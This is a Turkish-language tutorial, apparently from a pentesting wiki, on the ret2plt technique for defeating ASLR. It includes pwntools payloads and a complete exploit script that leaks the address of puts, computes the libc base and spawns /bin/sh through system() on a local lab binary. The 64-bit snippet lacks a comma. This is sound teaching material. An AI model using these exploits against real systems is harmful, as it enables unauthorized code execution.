Ret2plt

Temel Bilgiler

Bu teknikteki amaç, ASLR'yi atlamak için PLT'den bir işlevin adresini sızdırmaktır. Bu, örneğin, libc'ten puts işlevinin adresini sızdırırsanız, ardından libc'nin tabanını hesaplayabilir ve diğer işlevlere erişmek için ofsetleri hesaplayabilirsiniz, örneğin system.

Bu, pwntools yüküyle şu şekilde yapılabilir (buradan):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

puts fonksiyonunun (PLT'den adresi kullanarak) puts'un GOT'ta (Global Offset Table) bulunan adresi ile çağrıldığını göz önünde bulundurun. Bu, puts GOT girdisini yazdırdığında, bu girişin bellekteki puts adresini tam olarak içereceği için geçerlidir.

Ayrıca, sömürüde main adresinin nasıl kullanıldığına dikkat edin, böylece puts işlemini bitirdiğinde, binary çıkış yapmak yerine tekrar main'i çağırır (bu nedenle sızdırılan adres geçerli olmaya devam eder).

Bu işin çalışması için, binary'nin PIE ile derlenmemiş olması veya PLT, GOT ve main adreslerini bilmek için PIE'yi atlamak için bir sızıntı bulmuş olmanız gerekir. Aksi takdirde, önce PIE'yi atlamalısınız.

Bu atlamayı burada tam bir örnekte bulabilirsiniz. Bu, o örneğin son sömürüsüydü:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Diğer örnekler ve Referanslar

Last updated